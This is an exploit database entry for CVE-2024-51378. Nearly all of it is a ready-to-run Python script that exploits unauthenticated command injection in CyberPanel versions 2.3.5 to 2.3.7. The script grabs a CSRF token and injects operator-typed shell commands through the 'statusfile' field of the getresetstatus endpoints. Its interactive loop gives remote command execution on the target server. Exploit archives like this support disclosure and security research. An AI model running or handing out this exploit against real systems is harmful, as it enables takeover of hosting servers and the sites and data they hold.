CyberPanel 2.3.6 - Remote Code Execution (RCE)

EDB-ID:

52172




Platform:

Multiple

Date:

2025-04-11


# Exploit Title: CyberPanel v2.3.5, v2.3.6 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 10/29/2024
# Exploit Author: Luka Petrovic (refr4g)
# Vendor Homepage: https://cyberpanel.net/
# Software Link: https://github.com/usmannasir/cyberpanel
# Version: 2.3.5, 2.3.6, 2.3.7 (before patch)
# Tested on: Ubuntu 20.04, CyberPanel v2.3.5, v2.3.6, v2.3.7 (before patch)
# CVE: CVE-2024-51378
# PoC Repository: https://github.com/refr4g/CVE-2024-51378
# Blog Post: https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/

#!/usr/bin/python3

import argparse
import httpx
import sys

RED = "\033[91m"
GREEN = "\033[92m"
CYAN = "\033[96m"
MAGENTA = "\033[95m"
YELLOW = "\033[93m"
RESET = "\033[0m"

print(f"{RED}CVE-2024-51378{RESET} - Remote Code Execution Exploit")
print(f"{CYAN}Author:{RESET} {GREEN}Luka Petrovic (refr4g){RESET}")
print()

allowed_endpoints = ["/ftp/getresetstatus", "/dns/getresetstatus"]

parser = argparse.ArgumentParser()
parser.add_argument("target", help=f"{CYAN}Target URL (with http/https prefix){RESET}")
parser.add_argument("endpoint", help=f"{CYAN}Endpoint to target, choose from {allowed_endpoints}{RESET}")
args = parser.parse_args()

if args.endpoint not in allowed_endpoints:
    print(f"{RED}Error: Invalid endpoint '{args.endpoint}'.{RESET}")
    parser.print_help()
    sys.exit(1)

target = args.target
endpoint = args.endpoint

client = httpx.Client(base_url=target, verify=False)

try:
    response = client.get("/")
    response.raise_for_status()
except httpx.RequestError:
    print(f"{RED}Error: Unable to reach the target {target}. Please check the URL and your connection.{RESET}")
    sys.exit(1)

def get_token():
    response = client.get("/")
    return response.cookies.get("csrftoken")

def rce(client, csrf_token, cmd, endpoint):
    headers = {
        "X-CSRFToken": csrf_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile": "; %s; #"}' % cmd
    response = client.request("OPTIONS", endpoint, headers=headers, data=payload)
    return response.json().get("requestStatus")

csrf_token = get_token()
if not csrf_token:
    print(f"{RED}Failed to retrieve CSRF token. Exiting.{RESET}")
    sys.exit(1)

while True:
    cmd = input(f"{YELLOW}$> {RESET}")
    print(rce(client, csrf_token, cmd, endpoint))